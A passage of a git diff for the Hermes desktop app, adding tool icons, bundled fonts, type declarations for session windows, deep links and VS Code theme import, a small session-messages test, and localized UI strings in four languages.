+ diff: 'M118.18,213.08c-.11.14-.24.27-.36.4l-.16.18-.17.15a4.83,4.83,0,0,1-.42.37,3.92,3.92,0,0,1-.32.25l-.3.22-.38.23a2.91,2.91,0,0,1-.3.17l-.37.19-.34.15-.36.13a2.84,2.84,0,0,1-.38.13l-.36.1c-.14,0-.26.07-.4.09l-.42.07-.35.05a7,7,0,0,1-.79,0H64a8,8,0,0,1,0-16H92.69L55,162.34a23.85,23.85,0,0,1-7-17V95a32,32,0,1,1,16,0v50.38A8,8,0,0,0,66.34,151L104,188.69V160a8,8,0,0,1,16,0v48a7,7,0,0,1,0,.8c0,.11,0,.21,0,.32s0,.3-.07.46a2.83,2.83,0,0,1-.09.37c0,.13-.06.26-.1.39s-.08.23-.12.35l-.14.39-.15.31c-.06.13-.12.27-.19.4s-.11.18-.16.28l-.24.39-.21.28ZM208,161V110.63a23.85,23.85,0,0,0-7-17L163.31,56H192a8,8,0,0,0,0-16H143.82l-.6,0c-.14,0-.28,0-.41.06l-.37,0-.43.11-.33.08-.4.14-.34.13-.35.16-.36.18a3.14,3.14,0,0,0-.31.18c-.12.07-.25.14-.36.22a3.55,3.55,0,0,0-.31.23,3.81,3.81,0,0,0-.32.24c-.15.12-.28.24-.42.37l-.17.15-.16.18c-.12.13-.25.26-.36.4l-.26.35-.21.28-.24.39c-.05.1-.11.19-.16.28s-.13.27-.19.4l-.15.31-.14.39c0,.12-.09.23-.12.35s-.07.26-.1.39a2.83,2.83,0,0,0-.09.37c0,.16,0,.31-.07.46s0,.21-.05.32a7,7,0,0,0,0,.8V96a8,8,0,0,0,16,0V67.31L189.66,105a8,8,0,0,1,2.34,5.66V161a32,32,0,1,0,16,0Z',
+ edit: 'M227.31,73.37,182.63,28.68a16,16,0,0,0-22.63,0L36.69,152A15.86,15.86,0,0,0,32,163.31V208a16,16,0,0,0,16,16H92.69A15.86,15.86,0,0,0,104,219.31L227.31,96a16,16,0,0,0,0-22.63ZM192,108.68,147.31,64l24-24L216,84.68Z',
+ eye: 'M247.31,124.76c-.35-.79-8.82-19.58-27.65-38.41C194.57,61.26,162.88,48,128,48S61.43,61.26,36.34,86.35C17.51,105.18,9,124,8.69,124.76a8,8,0,0,0,0,6.5c.35.79,8.82,19.57,27.65,38.4C61.43,194.74,93.12,208,128,208s66.57-13.26,91.66-38.34c18.83-18.83,27.3-37.61,27.65-38.4A8,8,0,0,0,247.31,124.76ZM128,168a40,40,0,1,1,40-40A40,40,0,0,1,128,168Z',
+ file: 'M213.66,82.34l-56-56A8,8,0,0,0,152,24H56A16,16,0,0,0,40,40V216a16,16,0,0,0,16,16H200a16,16,0,0,0,16-16V88A8,8,0,0,0,213.66,82.34ZM152,88V44l44,44Z',
+ 'file-media':
+ 'M216,40H40A16,16,0,0,0,24,56V200a16,16,0,0,0,16,16H216a16,16,0,0,0,16-16V56A16,16,0,0,0,216,40ZM156,88a12,12,0,1,1-12,12A12,12,0,0,1,156,88Zm60,112H40V160.69l46.34-46.35a8,8,0,0,1,11.32,0h0L165,181.66a8,8,0,0,0,11.32-11.32l-17.66-17.65L173,138.34a8,8,0,0,1,11.31,0L216,170.07V200Z',
+ files:
+ 'M213.66,66.34l-40-40A8,8,0,0,0,168,24H88A16,16,0,0,0,72,40V56H56A16,16,0,0,0,40,72V216a16,16,0,0,0,16,16H168a16,16,0,0,0,16-16V200h16a16,16,0,0,0,16-16V72A8,8,0,0,0,213.66,66.34ZM136,192H88a8,8,0,0,1,0-16h48a8,8,0,0,1,0,16Zm0-32H88a8,8,0,0,1,0-16h48a8,8,0,0,1,0,16Zm64,24H184V104a8,8,0,0,0-2.34-5.66l-40-40A8,8,0,0,0,136,56H88V40h76.69L200,75.31Z',
+ globe:
+ 'M128,24h0A104,104,0,1,0,232,128,104.12,104.12,0,0,0,128,24Zm78.36,64H170.71a135.28,135.28,0,0,0-22.3-45.6A88.29,88.29,0,0,1,206.37,88ZM216,128a87.61,87.61,0,0,1-3.33,24H174.16a157.44,157.44,0,0,0,0-48h38.51A87.61,87.61,0,0,1,216,128ZM128,43a115.27,115.27,0,0,1,26,45H102A115.11,115.11,0,0,1,128,43ZM102,168H154a115.11,115.11,0,0,1-26,45A115.27,115.27,0,0,1,102,168Zm-3.9-16a140.84,140.84,0,0,1,0-48h59.88a140.84,140.84,0,0,1,0,48Zm50.35,61.6a135.28,135.28,0,0,0,22.3-45.6h35.66A88.29,88.29,0,0,1,148.41,213.6Z',
+ question:
+ 'M128,24A104,104,0,1,0,232,128,104.11,104.11,0,0,0,128,24Zm0,168a12,12,0,1,1,12-12A12,12,0,0,1,128,192Zm8-48.72V144a8,8,0,0,1-16,0v-8a8,8,0,0,1,8-8c13.23,0,24-9,24-20s-10.77-20-24-20-24,9-24,20v4a8,8,0,0,1-16,0v-4c0-19.85,17.94-36,40-36s40,16.15,40,36C168,125.38,154.24,139.93,136,143.28Z',
+ search:
+ 'M168,112a56,56,0,1,1-56-56A56,56,0,0,1,168,112Zm61.66,117.66a8,8,0,0,1-11.32,0l-50.06-50.07a88,88,0,1,1,11.32-11.31l50.06,50.06A8,8,0,0,1,229.66,229.66ZM112,184a72,72,0,1,0-72-72A72.08,72.08,0,0,0,112,184Z',
+ terminal:
+ 'M216,40H40A16,16,0,0,0,24,56V200a16,16,0,0,0,16,16H216a16,16,0,0,0,16-16V56A16,16,0,0,0,216,40Zm-91,94.25-40,32a8,8,0,1,1-10-12.5L107.19,128,75,102.25a8,8,0,1,1,10-12.5l40,32a8,8,0,0,1,0,12.5ZM176,168H136a8,8,0,0,1,0-16h40a8,8,0,0,1,0,16Z',
+ tools:
+ 'M232,96a72,72,0,0,1-100.94,66L79,222.22c-.12.14-.26.29-.39.42a32,32,0,0,1-45.26-45.26c.14-.13.28-.27.43-.39L94,124.94a72.07,72.07,0,0,1,83.54-98.78,8,8,0,0,1,3.93,13.19L144,80l5.66,26.35L176,112l40.65-37.52a8,8,0,0,1,13.19,3.93A72.6,72.6,0,0,1,232,96Z',
+ watch:
+ 'M128,24A104,104,0,1,0,232,128,104.11,104.11,0,0,0,128,24Zm56,112H128a8,8,0,0,1-8-8V72a8,8,0,0,1,16,0v48h48a8,8,0,0,1,0,16Z'
+}
+
+export interface ToolIconProps {
+ className?: string
+ name: string
+ size?: number | string
+}
+
+/** Filled tool glyph. Falls back to the outline codicon font for any name not
+ * covered by the solid set so new tools still render an icon. */
+export function ToolIcon({ className, name, size = '0.875rem' }: ToolIconProps) {
+ const path = TOOL_ICON_PATHS[name]
+
+ if (!path) {
+ return
+ }
+
+ const dimension: React.CSSProperties = { height: size, width: size }
+
+ return (
+
+
+
+ )
+}
diff --git a/apps/desktop/src/fonts/JetBrainsMono-Bold.woff2 b/apps/desktop/src/fonts/JetBrainsMono-Bold.woff2
new file mode 100644
index 000000000000..81c5a219dca7
Binary files /dev/null and b/apps/desktop/src/fonts/JetBrainsMono-Bold.woff2 differ
diff --git a/apps/desktop/src/fonts/JetBrainsMono-Italic.woff2 b/apps/desktop/src/fonts/JetBrainsMono-Italic.woff2
new file mode 100644
index 000000000000..4103d391055d
Binary files /dev/null and b/apps/desktop/src/fonts/JetBrainsMono-Italic.woff2 differ
diff --git a/apps/desktop/src/fonts/JetBrainsMono-Regular.woff2 b/apps/desktop/src/fonts/JetBrainsMono-Regular.woff2
new file mode 100644
index 000000000000..66c54672c787
Binary files /dev/null and b/apps/desktop/src/fonts/JetBrainsMono-Regular.woff2 differ
diff --git a/apps/desktop/src/global.d.ts b/apps/desktop/src/global.d.ts
index 213fe5c08d59..0246df344c50 100644
--- a/apps/desktop/src/global.d.ts
+++ b/apps/desktop/src/global.d.ts
@@ -18,6 +18,10 @@ declare global {
// reaper spares it while its chat is active.
touchBackend: (profile?: string | null) => Promise<{ ok: boolean }>
getGatewayWsUrl: (profile?: null | string) => Promise
+ // Open (or focus) a standalone OS window for a single chat session so
+ // the user can work with multiple chats side by side. Returns ok:false
+ // with an error code when the sessionId is empty/invalid.
+ openSessionWindow: (sessionId: string) => Promise<{ ok: boolean; error?: string }>
getBootProgress: () => Promise
getConnectionConfig: (profile?: null | string) => Promise
saveConnectionConfig: (payload: DesktopConnectionConfigInput) => Promise
@@ -51,8 +55,9 @@ declare global {
setPreviewShortcutActive?: (active: boolean) => void
openExternal: (url: string) => Promise
fetchLinkTitle: (url: string) => Promise
+ sanitizeWorkspaceCwd: (cwd?: null | string) => Promise<{ cwd: string; sanitized: boolean }>
settings: {
- getDefaultProjectDir: () => Promise<{ defaultLabel: string; dir: null | string }>
+ getDefaultProjectDir: () => Promise<{ defaultLabel: string; dir: null | string; resolvedCwd: string }>
pickDefaultProjectDir: () => Promise<{ canceled: boolean; dir: null | string }>
setDefaultProjectDir: (dir: null | string) => Promise<{ dir: null | string }>
}
@@ -70,6 +75,10 @@ declare global {
}
onClosePreviewRequested?: (callback: () => void) => () => void
onOpenUpdatesRequested?: (callback: () => void) => () => void
+ onDeepLink?: (
+ callback: (payload: { kind: string; name: string; params: Record }) => void,
+ ) => () => void
+ signalDeepLinkReady?: () => Promise<{ ok: boolean }>
onWindowStateChanged?: (callback: (payload: HermesWindowState) => void) => () => void
onPreviewFileChanged: (callback: (payload: HermesPreviewFileChanged) => void) => () => void
onBackendExit: (callback: (payload: BackendExit) => void) => () => void
@@ -92,10 +101,40 @@ declare global {
summary: () => Promise
run: (mode: DesktopUninstallMode) => Promise
}
+ themes: {
+ // Download a VS Code Marketplace extension and return the raw color
+ // theme files it contributes. The renderer converts + persists them.
+ fetchMarketplace: (id: string) => Promise
+ // Search the Marketplace for color-theme extensions. An empty query
+ // returns the most-installed themes.
+ searchMarketplace: (query: string) => Promise
+ }
}
}
}
+export interface DesktopMarketplaceSearchItem {
+ extensionId: string
+ displayName: string
+ publisher: string
+ description: string
+ installs: number
+}
+
+export interface DesktopMarketplaceThemeFile {
+ label: string
+ /** VS Code's `uiTheme` for this entry (vs-dark / vs / hc-black). */
+ uiTheme?: string
+ /** Raw theme JSON (JSONC) text, parsed + converted by the renderer. */
+ contents: string
+}
+
+export interface DesktopMarketplaceThemeResult {
+ extensionId: string
+ displayName: string
+ themes: DesktopMarketplaceThemeFile[]
+}
+
export interface HermesTerminalSession {
cwd: string
id: string
diff --git a/apps/desktop/src/hermes.test.ts b/apps/desktop/src/hermes.test.ts
index 0dcf58b36405..290f6aac96da 100644
--- a/apps/desktop/src/hermes.test.ts
+++ b/apps/desktop/src/hermes.test.ts
@@ -1,6 +1,6 @@
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import { listAllProfileSessions, listSessions } from './hermes'
+import { getSessionMessages, listAllProfileSessions, listSessions } from './hermes'
const emptySessionsResponse = {
limit: 0,
@@ -46,4 +46,15 @@ describe('Hermes REST session helpers', () => {
})
)
})
+
+ it('tags cross-profile message reads for Electron routing and backend lookup', async () => {
+ api.mockResolvedValue({ messages: [], session_id: 'session-1' })
+
+ await getSessionMessages('session-1', 'xiaoxuxu')
+
+ expect(api).toHaveBeenCalledWith({
+ path: '/api/sessions/session-1/messages?profile=xiaoxuxu',
+ profile: 'xiaoxuxu'
+ })
+ })
})
diff --git a/apps/desktop/src/hermes.ts b/apps/desktop/src/hermes.ts
index da3247a36a94..b765390f0192 100644
--- a/apps/desktop/src/hermes.ts
+++ b/apps/desktop/src/hermes.ts
@@ -54,10 +54,10 @@ export type {
AnalyticsSkillEntry,
AnalyticsSkillsSummary,
AnalyticsTotals,
- BackendUpdateCheckResponse,
AudioSpeakResponse,
AudioTranscriptionResponse,
AuxiliaryModelsResponse,
+ BackendUpdateCheckResponse,
ConfigFieldSchema,
ConfigSchemaResponse,
CronJob,
@@ -218,6 +218,7 @@ export function getSessionMessages(id: string, profile?: string | null): Promise
const suffix = profile ? `?profile=${encodeURIComponent(profile)}` : ''
return window.hermesDesktop.api({
+ ...(profile ? { profile } : {}),
path: `/api/sessions/${encodeURIComponent(id)}/messages${suffix}`
})
}
@@ -343,13 +344,14 @@ export function setEnvVar(key: string, value: string): Promise<{ ok: boolean }>
export function validateProviderCredential(
key: string,
- value: string
+ value: string,
+ apiKey?: string
): Promise<{ ok: boolean; reachable: boolean; message: string; models?: string[] }> {
return window.hermesDesktop.api<{ ok: boolean; reachable: boolean; message: string; models?: string[] }>({
...profileScoped(),
path: '/api/providers/validate',
method: 'POST',
- body: { key, value }
+ body: { key, value, api_key: apiKey ?? '' }
})
}
diff --git a/apps/desktop/src/i18n/en.ts b/apps/desktop/src/i18n/en.ts
index 7eedaee25242..a0cfdbb08b79 100644
--- a/apps/desktop/src/i18n/en.ts
+++ b/apps/desktop/src/i18n/en.ts
@@ -179,6 +179,15 @@ export const en: Translations = {
'session.new': 'New session',
'session.next': 'Next session',
'session.prev': 'Previous session',
+ 'session.slot.1': 'Switch to recent session 1',
+ 'session.slot.2': 'Switch to recent session 2',
+ 'session.slot.3': 'Switch to recent session 3',
+ 'session.slot.4': 'Switch to recent session 4',
+ 'session.slot.5': 'Switch to recent session 5',
+ 'session.slot.6': 'Switch to recent session 6',
+ 'session.slot.7': 'Switch to recent session 7',
+ 'session.slot.8': 'Switch to recent session 8',
+ 'session.slot.9': 'Switch to recent session 9',
'session.focusSearch': 'Search sessions',
'session.togglePin': 'Pin / unpin current session',
'composer.focus': 'Focus composer',
@@ -293,7 +302,17 @@ export const en: Translations = {
technicalDesc: 'Include raw tool args/results and low-level details.',
themeTitle: 'Theme',
themeDesc: 'Desktop palettes only. The selected mode is applied on top.',
- themeProfileNote: profile => `Saved for the ${profile} profile — each profile keeps its own theme.`
+ themeProfileNote: profile => `Saved for the ${profile} profile — each profile keeps its own theme.`,
+ installTitle: 'Install from VS Code',
+ installDesc:
+ 'Paste a Marketplace extension id (e.g. dracula-theme.theme-dracula) to convert its color theme into a desktop palette.',
+ installPlaceholder: 'publisher.extension',
+ installButton: 'Install',
+ installing: 'Installing…',
+ installError: 'Could not install that theme.',
+ installed: name => `Installed “${name}”.`,
+ removeTheme: 'Remove theme',
+ importedBadge: 'Imported'
},
fieldLabels: FIELD_LABELS,
fieldDescriptions: FIELD_DESCRIPTIONS,
@@ -510,7 +529,7 @@ export const en: Translations = {
defaultDirTitle: 'Default project directory',
defaultDirDesc:
'New sessions start in this folder unless you pick another. Leave it unset to use your home directory.',
- defaultDirUpdated: 'Default project directory updated',
+ defaultDirUpdated: 'Default project directory updated — start a new chat (Ctrl/⌘+N) for it to take effect',
defaultsTo: label => `Defaults to ${label}.`,
change: 'Change',
choose: 'Choose',
@@ -627,6 +646,17 @@ export const en: Translations = {
settings: 'Settings',
changeTheme: 'Change theme...',
changeColorMode: 'Change color mode...',
+ installTheme: {
+ title: 'Install theme...',
+ placeholder: 'Search the VS Code Marketplace...',
+ loading: 'Searching the Marketplace...',
+ error: 'Could not reach the Marketplace.',
+ empty: 'No matching themes.',
+ install: 'Install',
+ installing: 'Installing...',
+ installed: 'Installed',
+ installs: count => `${count} installs`
+ },
settingsFields: 'Settings fields',
mcpServers: 'MCP servers',
archivedChats: 'Archived chats',
@@ -1075,12 +1105,14 @@ export const en: Translations = {
export: 'Export',
rename: 'Rename',
archive: 'Archive',
+ newWindow: 'New window',
copyIdFailed: 'Could not copy session ID',
actionsFor: title => `Actions for ${title}`,
sessionActions: 'Session actions',
sessionRunning: 'Session running',
needsInput: 'Needs your input',
waitingForAnswer: 'Waiting for your answer',
+ handoffOrigin: platform => `Handed off from ${platform}`,
renamed: 'Renamed',
renameFailed: 'Rename failed',
renameTitle: 'Rename session',
@@ -1119,7 +1151,7 @@ export const en: Translations = {
],
startVoice: 'Start voice conversation',
queueMessage: 'Queue message',
- steer: 'Steer the current run (⌘⏎)',
+ steer: 'Steer the current run',
stop: 'Stop',
send: 'Send',
speaking: 'Speaking',
@@ -1340,6 +1372,7 @@ export const en: Translations = {
getKey: 'Get a key',
replaceCurrent: 'Replace current value',
pasteApiKey: 'Paste API key',
+ localApiKeyPlaceholder: 'API key (optional — only if your endpoint requires one)',
couldNotSave: 'Could not save credential.',
connecting: 'Connecting',
update: 'Update',
@@ -1460,6 +1493,8 @@ export const en: Translations = {
branch: branch => `branch ${branch}`,
closeCommandCenter: 'Close Command Center',
openCommandCenter: 'Open Command Center',
+ showTerminal: 'Show terminal',
+ hideTerminal: 'Hide terminal',
gateway: 'Gateway',
gatewayReady: 'ready',
gatewayNeedsSetup: 'needs setup',
@@ -1498,6 +1533,9 @@ export const en: Translations = {
terminal: 'Terminal',
noFolderSelected: 'No folder selected',
changeCwdTitle: 'Change working directory',
+ remotePickerTitle: 'Choose remote folder',
+ remotePickerDescription: 'Browse folders on the connected backend.',
+ remotePickerSelect: 'Select folder',
folderTip: cwd => `${cwd} — click to change folder`,
openFolder: 'Open folder',
refreshTree: 'Refresh tree',
@@ -1515,8 +1553,7 @@ export const en: Translations = {
tryAgain: 'Try again',
loadingTree: 'Loading file tree',
loadingFiles: 'Loading files',
- terminalFocus: 'Focus terminal view',
- terminalSplit: 'Return to split view',
+ terminalHide: 'Hide terminal',
addToChat: 'Add to chat'
},
@@ -1621,7 +1658,8 @@ export const en: Translations = {
restoreCheckpoint: 'Restore checkpoint',
restoreNext: 'Restore next checkpoint',
goForward: 'Go forward',
- sendEdited: 'Send edited message'
+ sendEdited: 'Send edited message',
+ attachingFile: 'Attaching…'
},
approval: {
gatewayDisconnected: 'Hermes gateway is not connected',
@@ -1744,7 +1782,14 @@ export const en: Translations = {
clipboard: 'Clipboard',
noClipboardImage: 'No image found in clipboard',
clipboardPasteFailed: 'Clipboard paste failed',
- dropFiles: 'Drop files'
+ dropFiles: 'Drop files',
+ handoff: {
+ pickPlatform: 'Choose a destination',
+ success: platform => `Handed off to ${platform}. Resume here anytime.`,
+ systemNote: platform => `↻ Handed off to ${platform} — resume here anytime.`,
+ failed: error => `Handoff failed: ${error}`,
+ timedOut: 'Timed out waiting for the gateway. Is `hermes gateway` running?'
+ }
},
errors: {
diff --git a/apps/desktop/src/i18n/ja.ts b/apps/desktop/src/i18n/ja.ts
index 5e5865fb9005..0ae343586fdd 100644
--- a/apps/desktop/src/i18n/ja.ts
+++ b/apps/desktop/src/i18n/ja.ts
@@ -216,7 +216,16 @@ export const ja = defineLocale({
technicalDesc: '生のツール引数、結果、低レベルの詳細を含めます。',
themeTitle: 'テーマ',
themeDesc: 'デスクトップ専用のパレットです。選択したモードの上に適用されます。',
- themeProfileNote: profile => `「${profile}」プロファイルに保存されます。プロファイルごとに個別のテーマを保持します。`
+ themeProfileNote: profile => `「${profile}」プロファイルに保存されます。プロファイルごとに個別のテーマを保持します。`,
+ installTitle: 'VS Code から導入',
+ installDesc: 'Marketplace の拡張機能 ID(例: dracula-theme.theme-dracula)を貼り付けると、その配色テーマをデスクトップ用パレットに変換します。',
+ installPlaceholder: 'publisher.extension',
+ installButton: 'インストール',
+ installing: 'インストール中…',
+ installError: 'そのテーマをインストールできませんでした。',
+ installed: name => `「${name}」をインストールしました。`,
+ removeTheme: 'テーマを削除',
+ importedBadge: 'インポート済み'
},
fieldLabels: defineFieldCopy({
model: 'デフォルトモデル',
@@ -762,6 +771,17 @@ export const ja = defineLocale({
settings: '設定',
changeTheme: 'テーマを変更...',
changeColorMode: 'カラーモードを変更...',
+ installTheme: {
+ title: 'テーマをインストール...',
+ placeholder: 'VS Code Marketplace を検索...',
+ loading: 'Marketplace を検索中...',
+ error: 'Marketplace に接続できませんでした。',
+ empty: '一致するテーマがありません。',
+ install: 'インストール',
+ installing: 'インストール中...',
+ installed: 'インストール済み',
+ installs: count => `${count} 回インストール`
+ },
settingsFields: '設定フィールド',
mcpServers: 'MCP サーバー',
archivedChats: 'アーカイブ済みチャット',
@@ -1218,12 +1238,14 @@ export const ja = defineLocale({
export: 'エクスポート',
rename: '名前を変更',
archive: 'アーカイブ',
+ newWindow: '新しいウィンドウ',
copyIdFailed: 'セッション ID をコピーできませんでした',
actionsFor: title => `${title} のアクション`,
sessionActions: 'セッションアクション',
sessionRunning: 'セッション実行中',
needsInput: '入力が必要です',
waitingForAnswer: '回答を待っています',
+ handoffOrigin: platform => `${platform} から引き継ぎ`,
renamed: '名前を変更しました',
renameFailed: '名前の変更に失敗しました',
renameTitle: 'セッションの名前を変更',
@@ -1603,6 +1625,8 @@ export const ja = defineLocale({
branch: branch => `ブランチ ${branch}`,
closeCommandCenter: 'コマンドセンターを閉じる',
openCommandCenter: 'コマンドセンターを開く',
+ showTerminal: 'ターミナルを表示',
+ hideTerminal: 'ターミナルを非表示',
gateway: 'ゲートウェイ',
gatewayReady: '準備完了',
gatewayNeedsSetup: '設定が必要',
@@ -1641,6 +1665,9 @@ export const ja = defineLocale({
terminal: 'ターミナル',
noFolderSelected: 'フォルダーが選択されていません',
changeCwdTitle: '作業ディレクトリを変更',
+ remotePickerTitle: 'リモートフォルダーを選択',
+ remotePickerDescription: '接続中のバックエンド上のフォルダーを参照します。',
+ remotePickerSelect: 'フォルダーを選択',
folderTip: cwd => `${cwd} — クリックしてフォルダーを変更`,
openFolder: 'フォルダーを開く',
refreshTree: 'ツリーを更新',
@@ -1658,8 +1685,7 @@ export const ja = defineLocale({
tryAgain: '再試行',
loadingTree: 'ファイルツリーを読み込み中',
loadingFiles: 'ファイルを読み込み中',
- terminalFocus: 'ターミナルビューにフォーカス',
- terminalSplit: '分割ビューに戻る',
+ terminalHide: 'ターミナルを非表示',
addToChat: 'チャットに追加'
},
@@ -1765,7 +1791,8 @@ export const ja = defineLocale({
restoreCheckpoint: 'チェックポイントを復元',
restoreNext: '次のチェックポイントに戻す',
goForward: '進む',
- sendEdited: '編集済みメッセージを送信'
+ sendEdited: '編集済みメッセージを送信',
+ attachingFile: '添付中…'
},
approval: {
gatewayDisconnected: 'Hermes ゲートウェイが接続されていません',
@@ -1890,7 +1917,14 @@ export const ja = defineLocale({
clipboard: 'クリップボード',
noClipboardImage: 'クリップボードに画像が見つかりません',
clipboardPasteFailed: 'クリップボードからの貼り付けに失敗しました',
- dropFiles: 'ファイルをドロップ'
+ dropFiles: 'ファイルをドロップ',
+ handoff: {
+ pickPlatform: '送信先を選択',
+ success: platform => `${platform} に引き継ぎました。いつでもここで再開できます。`,
+ systemNote: platform => `↻ ${platform} に引き継ぎました — いつでもここで再開できます。`,
+ failed: error => `引き継ぎに失敗しました: ${error}`,
+ timedOut: 'ゲートウェイの待機がタイムアウトしました。`hermes gateway` は起動していますか?'
+ }
},
errors: {
diff --git a/apps/desktop/src/i18n/types.ts b/apps/desktop/src/i18n/types.ts
index 5a4b9743a20c..592fe2bfa2ce 100644
--- a/apps/desktop/src/i18n/types.ts
+++ b/apps/desktop/src/i18n/types.ts
@@ -220,6 +220,15 @@ export interface Translations {
themeTitle: string
themeDesc: string
themeProfileNote: (profile: string) => string
+ installTitle: string
+ installDesc: string
+ installPlaceholder: string
+ installButton: string
+ installing: string
+ installError: string
+ installed: (name: string) => string
+ removeTheme: string
+ importedBadge: string
}
fieldLabels: Record
fieldDescriptions: Record
@@ -534,6 +543,17 @@ export interface Translations {
settings: string
changeTheme: string
changeColorMode: string
+ installTheme: {
+ title: string
+ placeholder: string
+ loading: string
+ error: string
+ empty: string
+ install: string
+ installing: string
+ installed: string
+ installs: (count: string) => string
+ }
settingsFields: string
mcpServers: string
archivedChats: string
@@ -832,12 +852,14 @@ export interface Translations {
export: string
rename: string
archive: string
+ newWindow: string
copyIdFailed: string
actionsFor: (title: string) => string
sessionActions: string
sessionRunning: string
needsInput: string
waitingForAnswer: string
+ handoffOrigin: (platform: string) => string
renamed: string
renameFailed: string
renameTitle: string
@@ -1019,6 +1041,7 @@ export interface Translations {
getKey: string
replaceCurrent: string
pasteApiKey: string
+ localApiKeyPlaceholder: string
couldNotSave: string
connecting: string
update: string
@@ -1132,6 +1155,8 @@ export interface Translations {
branch: (branch: string) => string
closeCommandCenter: string
openCommandCenter: string
+ showTerminal: string
+ hideTerminal: string
gateway: string
gatewayReady: string
gatewayNeedsSetup: string
@@ -1170,6 +1195,9 @@ export interface Translations {
terminal: string
noFolderSelected: string
changeCwdTitle: string
+ remotePickerTitle: string
+ remotePickerDescription: string
+ remotePickerSelect: string
folderTip: (cwd: string) => string
openFolder: string
refreshTree: string
@@ -1187,8 +1215,7 @@ export interface Translations {
tryAgain: string
loadingTree: string
loadingFiles: string
- terminalFocus: string
- terminalSplit: string
+ terminalHide: string
addToChat: string
}
@@ -1292,6 +1319,7 @@ export interface Translations {
restoreNext: string
goForward: string
sendEdited: string
+ attachingFile: string
}
approval: {
gatewayDisconnected: string
@@ -1413,6 +1441,13 @@ export interface Translations {
noClipboardImage: string
clipboardPasteFailed: string
dropFiles: string
+ handoff: {
+ pickPlatform: string
+ success: (platform: string) => string
+ systemNote: (platform: string) => string
+ failed: (error: string) => string
+ timedOut: string
+ }
}
errors: {
diff --git a/apps/desktop/src/i18n/zh-hant.ts b/apps/desktop/src/i18n/zh-hant.ts
index 38c2ad00f9d2..058ad3fb3c2a 100644
--- a/apps/desktop/src/i18n/zh-hant.ts
+++ b/apps/desktop/src/i18n/zh-hant.ts
@@ -210,7 +210,16 @@ export const zhHant = defineLocale({
technicalDesc: '包含原始工具參數、結果與底層細節。',
themeTitle: '主題',
themeDesc: '僅限桌面端的調色盤。所選模式會套用在其上。',
- themeProfileNote: profile => `已為「${profile}」設定檔儲存——每個設定檔保留各自的主題。`
+ themeProfileNote: profile => `已為「${profile}」設定檔儲存——每個設定檔保留各自的主題。`,
+ installTitle: '從 VS Code 安裝',
+ installDesc: '貼上 Marketplace 擴充功能 ID(例如 dracula-theme.theme-dracula),將其配色主題轉換為桌面調色盤。',
+ installPlaceholder: 'publisher.extension',
+ installButton: '安裝',
+ installing: '安裝中…',
+ installError: '無法安裝該主題。',
+ installed: name => `已安裝「${name}」。`,
+ removeTheme: '移除主題',
+ importedBadge: '已匯入'
},
fieldLabels: defineFieldCopy({
model: '預設模型',
@@ -745,6 +754,17 @@ export const zhHant = defineLocale({
settings: '設定',
changeTheme: '變更主題...',
changeColorMode: '變更色彩模式...',
+ installTheme: {
+ title: '安裝主題...',
+ placeholder: '搜尋 VS Code Marketplace...',
+ loading: '正在搜尋 Marketplace...',
+ error: '無法連接到 Marketplace。',
+ empty: '沒有符合的主題。',
+ install: '安裝',
+ installing: '安裝中...',
+ installed: '已安裝',
+ installs: count => `${count} 次安裝`
+ },
settingsFields: '設定欄位',
mcpServers: 'MCP 伺服器',
archivedChats: '已封存聊天',
@@ -1184,12 +1204,14 @@ export const zhHant = defineLocale({
export: '匯出',
rename: '重新命名',
archive: '封存',
+ newWindow: '新視窗',
copyIdFailed: '無法複製工作階段 ID',
actionsFor: title => `${title} 的動作`,
sessionActions: '工作階段動作',
sessionRunning: '工作階段執行中',
needsInput: '需要您的輸入',
waitingForAnswer: '等待您的回答',
+ handoffOrigin: platform => `從 ${platform} 轉接`,
renamed: '已重新命名',
renameFailed: '重新命名失敗',
renameTitle: '重新命名工作階段',
@@ -1564,6 +1586,8 @@ export const zhHant = defineLocale({
branch: branch => `分支 ${branch}`,
closeCommandCenter: '關閉命令中心',
openCommandCenter: '開啟命令中心',
+ showTerminal: '顯示終端機',
+ hideTerminal: '隱藏終端機',
gateway: '閘道',
gatewayReady: '就緒',
gatewayNeedsSetup: '需要設定',
@@ -1602,6 +1626,9 @@ export const zhHant = defineLocale({
terminal: '終端機',
noFolderSelected: '未選擇資料夾',
changeCwdTitle: '變更工作目錄',
+ remotePickerTitle: '選擇遠端資料夾',
+ remotePickerDescription: '瀏覽已連線後端上的資料夾。',
+ remotePickerSelect: '選擇資料夾',
folderTip: cwd => `${cwd} — 點擊以變更資料夾`,
openFolder: '開啟資料夾',
refreshTree: '重新整理檔案樹',
@@ -1619,8 +1646,7 @@ export const zhHant = defineLocale({
tryAgain: '重試',
loadingTree: '正在載入檔案樹',
loadingFiles: '正在載入檔案',
- terminalFocus: '聚焦終端機檢視',
- terminalSplit: '返回分割檢視',
+ terminalHide: '隱藏終端機',
addToChat: '新增至聊天'
},
@@ -1726,7 +1752,8 @@ export const zhHant = defineLocale({
restoreCheckpoint: '還原檢查點',
restoreNext: '還原至下一個檢查點',
goForward: '前進',
- sendEdited: '傳送編輯後的訊息'
+ sendEdited: '傳送編輯後的訊息',
+ attachingFile: '正在附加…'
},
approval: {
gatewayDisconnected: 'Hermes 閘道未連線',
@@ -1849,7 +1876,14 @@ export const zhHant = defineLocale({
clipboard: '剪貼簿',
noClipboardImage: '剪貼簿中沒有圖片',
clipboardPasteFailed: '剪貼簿貼上失敗',
- dropFiles: '拖曳檔案'
+ dropFiles: '拖曳檔案',
+ handoff: {
+ pickPlatform: '選擇目標平台',
+ success: platform => `已移交到 ${platform}。隨時可在此處恢復。`,
+ systemNote: platform => `↻ 已移交到 ${platform} — 隨時可在此處恢復。`,
+ failed: error => `移交失敗:${error}`,
+ timedOut: '等待閘道逾時。`hermes gateway` 是否正在執行?'
+ }
},
errors: {
diff --git a/apps/desktop/src/i18n/zh.ts b/apps/desktop/src/i18n/zh.ts
index 82d3c478d3ac..de6f467ab617 100644
--- a/apps/desktop/src/i18n/zh.ts
+++ b/apps/desktop/src/i18n/zh.ts
@@ -175,6 +175,15 @@ export const zh: Translations = {
'session.new': '新建会话',
'session.next': '下一个会话',
'session.prev': '上一个会话',
+ 'session.slot.1': '切换到最近会话 1',
+ 'session.slot.2': '切换到最近会话 2',
+ 'session.slot.3': '切换到最近会话 3',
+ 'session.slot.4': '切换到最近会话 4',
+ 'session.slot.5': '切换到最近会话 5',
+ 'session.slot.6': '切换到最近会话 6',
+ 'session.slot.7': '切换到最近会话 7',
+ 'session.slot.8': '切换到最近会话 8',
+ 'session.slot.9': '切换到最近会话 9',
'session.focusSearch': '搜索会话',
